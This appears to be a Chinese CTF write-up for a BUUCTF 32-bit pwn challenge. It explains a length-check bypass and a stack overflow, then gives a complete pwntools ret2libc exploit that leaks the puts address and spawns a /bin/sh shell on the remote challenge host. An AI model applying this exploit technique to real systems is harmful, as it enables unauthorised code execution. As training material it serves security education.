一、查看文件
32位
二、IDA反编译
我们看看代码:
fd 是一个文件句柄,打开了一个给定随机值的文件,截断成四字节的 int 赋给
buf 传入 sub_804871F():
所以buf也是一个随机数。
我们按顺序看 sub_804871F(buf),
sprintf() 将参数 a1 转换成字符串 s,下一行读入字符串 buf,v5 为其长度
下两行把 buf 最末一个字符去掉了,v1 为其新长度
接下来的 if 嵌套 strncmp
真正的溢出点在 sub_80487D0() 内:
考虑通过控制参数 a1 为一个较大数(0xff),触发 read() 的栈溢出
这需要我们在 sub_804871F() 也通过 read() 进行一个溢出
让 buf 的长度达到 8 就能覆盖掉 return 的变量
接下来就就是常规的 ret2libc,
在 sub_80487D0() 通过劫持返回地址到 write() 泄露出某函数(我用的是 read )的 got 表地址
最后加上偏移得到 system() 和 ‘/bin/sh’ 的真实地址
重复调用 sub_80487D0(),栈溢出,使程序在返回时调用 system(‘/bin/sh’),成功 getshell
代码
from pwn import *
#attack
r = remote("node4.buuoj.cn",27516)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")#题目下面那个链接里下载
#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825
#attack1
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)
#attack2
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))
#attack3
r.sendline(payload)
#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()